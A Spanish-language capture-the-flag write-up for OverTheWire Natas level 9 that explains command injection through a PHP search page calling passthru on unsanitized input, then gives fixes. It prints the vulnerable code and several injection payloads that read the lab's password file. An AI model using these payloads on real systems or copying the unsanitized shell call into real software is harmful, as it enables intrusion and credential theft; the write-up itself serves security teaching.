← Volver al listado de tecnologías

Natas Nivel 9 - Command Injection

Por: SiempreListo
overthewirenatascommand-injectionrcenivel-9

Natas Nivel 9 - Command Injection

Objetivo

Un buscador que busca palabras en un diccionario. Hay un enlace a “View sourcecode”.

Análisis del Código

<?php
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

El Problema

passthru("grep -i $key dictionary.txt");

El input del usuario ($key) se inserta directamente en un comando del sistema sin sanitización.

Teoría: Command Injection

¿Qué es?

Ocurre cuando datos del usuario se ejecutan como comandos del sistema. Permite al atacante ejecutar cualquier comando con los privilegios del servidor web.

Metacaracteres del Shell

CarácterFunción
;Separador de comandos
|Pipe (conecta comandos)
&Ejecutar en background
&&AND (ejecuta si anterior exitoso)
||OR (ejecuta si anterior falla)
$()Sustitución de comando
`Sustitución de comando (legacy)

Solución

Payload Básico

; cat /etc/natas_webpass/natas10 ;

Esto ejecuta:

grep -i ; cat /etc/natas_webpass/natas10 ; dictionary.txt

Que se interpreta como:

  1. grep -i (error, incompleto)
  2. cat /etc/natas_webpass/natas10 (¡nuestro comando!)
  3. dictionary.txt (error, no es comando)

Otros Payloads

# Con pipe
| cat /etc/natas_webpass/natas10

# Todo el archivo
. /etc/natas_webpass/natas10

# Usando grep mismo
-v "" /etc/natas_webpass/natas10

El último usa grep para buscar líneas que no contengan "" (vacío) en el archivo de contraseñas, mostrando todo.

Funciones Peligrosas en PHP

FunciónDescripción
system()Ejecuta comando, muestra output
exec()Ejecuta comando, retorna output
passthru()Ejecuta comando, output raw
shell_exec()Ejecuta via shell
`comando`Backticks, ejecuta comando
popen()Abre proceso como pipe
proc_open()Control avanzado de procesos

Prevención

Escapar Input

$key = escapeshellarg($_REQUEST["needle"]);
passthru("grep -i $key dictionary.txt");

Validar Input

if (preg_match('/^[a-zA-Z]+$/', $key)) {
    passthru("grep -i $key dictionary.txt");
}

Evitar Comandos del Sistema

Usar funciones nativas de PHP en lugar de comandos shell.

Conceptos Aprendidos

ConceptoDescripción
Command injectionInyección de comandos
Shell metacharactersCaracteres especiales
passthru/systemFunciones peligrosas
Input sanitizationLimpieza de entrada

Siguiente Nivel